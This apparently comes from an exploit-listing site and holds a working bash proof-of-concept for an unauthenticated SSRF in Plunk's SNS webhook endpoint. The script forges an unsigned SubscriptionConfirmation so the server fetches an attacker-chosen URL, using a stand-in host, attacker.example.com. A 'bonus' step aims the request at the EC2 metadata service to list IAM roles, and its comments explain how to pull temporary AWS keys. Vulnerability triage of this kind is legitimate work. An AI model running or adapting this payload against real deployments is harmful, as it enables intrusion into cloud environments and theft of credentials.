5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.sh SH
#!/usr/bin/env bash
# Plunk SNS SSRF — Live Triage Exploit
# Target: POST /webhooks/sns (unauthenticated)
# Trigger: forged SubscriptionConfirmation with attacker-controlled SubscribeURL
#
# Prerequisites:
#   - docker compose up (from this directory) — Plunk running on localhost:9080
#   - python3 listener.py — SSRF callback listener on port 8888
#
# Usage:
#   chmod +x exploit.sh
#   ./exploit.sh [callback_url]
#
# Default callback:  http://host.docker.internal:8888/ssrf-hit

set -euo pipefail

PLUNK_HOST="${PLUNK_HOST:-localhost:9080}"
API_HOST="api.localhost"
CALLBACK="${1:-http://host.docker.internal:8888/ssrf-hit}"

# ── Colors ──────────────────────────────────────────────────────────────────
RED='\033[0;31m'; YELLOW='\033[1;33m'; GREEN='\033[0;32m'
CYAN='\033[0;36m'; BOLD='\033[1m'; RESET='\033[0m'

echo -e "\n${BOLD}${CYAN}Plunk SNS SSRF — Live Triage${RESET}"
echo    "──────────────────────────────────────────────────"
echo -e "  Target   : ${YELLOW}http://${PLUNK_HOST}/webhooks/sns${RESET}"
echo -e "  Host hdr : ${YELLOW}${API_HOST}${RESET}"
echo -e "  Callback : ${RED}${CALLBACK}${RESET}"
echo    "──────────────────────────────────────────────────"

# ── Step 1: Wait for the API to be ready ───────────────────────────────────
echo -e "\n[1] Waiting for Plunk API to respond on http://${PLUNK_HOST}/health ..."
for i in $(seq 1 30); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Host: ${API_HOST}" \
    "http://${PLUNK_HOST}/health" 2>/dev/null || true)
  if [[ "$STATUS" == "200" ]]; then
    echo -e "    ${GREEN}API is up (HTTP 200)${RESET}"
    break
  fi
  echo -n "    attempt ${i}/30 (got ${STATUS}) ... "
  sleep 3
  if [[ "$i" == "30" ]]; then
    echo -e "\n${RED}Timeout: API did not become healthy.${RESET}"
    exit 1
  fi
done

# ── Step 2: Fire the SSRF payload ──────────────────────────────────────────
echo -e "\n[2] Sending forged SubscriptionConfirmation ..."

PAYLOAD=$(cat <<EOF
{
  "Type": "SubscriptionConfirmation",
  "MessageId": "attacker-controlled-message-id",
  "Token": "2336412f37fb687f5d51e6e2425ba4de08e147bc738d6b9b3aae3e9f28edfe56abe24b3611fc32dea3ecadf9e6f2b4c9ac9a63b6e62b8d17e7c6b2d9c8b3e2f",
  "TopicArn": "arn:aws:sns:us-east-1:123456789012:plunk-ssrf-poc",
  "SubscribeURL": "${CALLBACK}",
  "Timestamp": "$(date -u +%Y-%m-%dT%H:%M:%S.000Z)",
  "SignatureVersion": "1",
  "Signature": "UNSIGNED-FORGED-MESSAGE",
  "SigningCertURL": "https://attacker.example.com/fake-cert.pem"
}
EOF
)

echo -e "    Payload:\n${PAYLOAD}\n"

RESPONSE=$(curl -s -w "\n__STATUS__:%{http_code}" \
  -X POST "http://${PLUNK_HOST}/webhooks/sns" \
  -H "Host: ${API_HOST}" \
  -H "x-amz-sns-message-type: SubscriptionConfirmation" \
  -H "Content-Type: application/json" \
  -d "${PAYLOAD}")

HTTP_STATUS=$(echo "$RESPONSE" | grep '__STATUS__:' | cut -d: -f2)
BODY=$(echo "$RESPONSE" | grep -v '__STATUS__:')

echo -e "[3] Server response:"
echo -e "    HTTP Status : ${YELLOW}${HTTP_STATUS}${RESET}"
echo -e "    Body        : ${BODY}"

# ── Step 3: Interpret ──────────────────────────────────────────────────────
echo ""
if echo "$BODY" | grep -q '"success":true'; then
  echo -e "${RED}${BOLD}[!] VULNERABILITY CONFIRMED${RESET}"
  echo -e "    Server returned success=true — it fetched the SubscribeURL."
  echo -e "    Check your listener output for the SSRF callback."
elif echo "$BODY" | grep -q '"success":false'; then
  echo -e "${YELLOW}[?] Server returned success=false — fetch may have failed or timed out.${RESET}"
  echo -e "    Check listener: did the GET arrive before a timeout?"
else
  echo -e "${YELLOW}[?] Unexpected response. Check container logs:${RESET}"
  echo -e "    docker logs plunk-triage-api"
fi

# ── Bonus: probe EC2 metadata (if running in AWS) ──────────────────────────
echo ""
echo -e "${BOLD}[4] Bonus: probing EC2 IMDS (will fail locally — shows what a real target leaks)${RESET}"
curl -s -w "\n__STATUS__:%{http_code}" \
  -X POST "http://${PLUNK_HOST}/webhooks/sns" \
  -H "Host: ${API_HOST}" \
  -H "x-amz-sns-message-type: SubscriptionConfirmation" \
  -H "Content-Type: application/json" \
  -d '{
    "Type": "SubscriptionConfirmation",
    "SubscribeURL": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }' | tee /dev/null
echo ""
echo -e "${CYAN}(In an EC2/ECS environment this would return IAM role names; a second request"
echo -e "to /latest/meta-data/iam/security-credentials/<role> would return temporary AWS keys.)${RESET}"
echo ""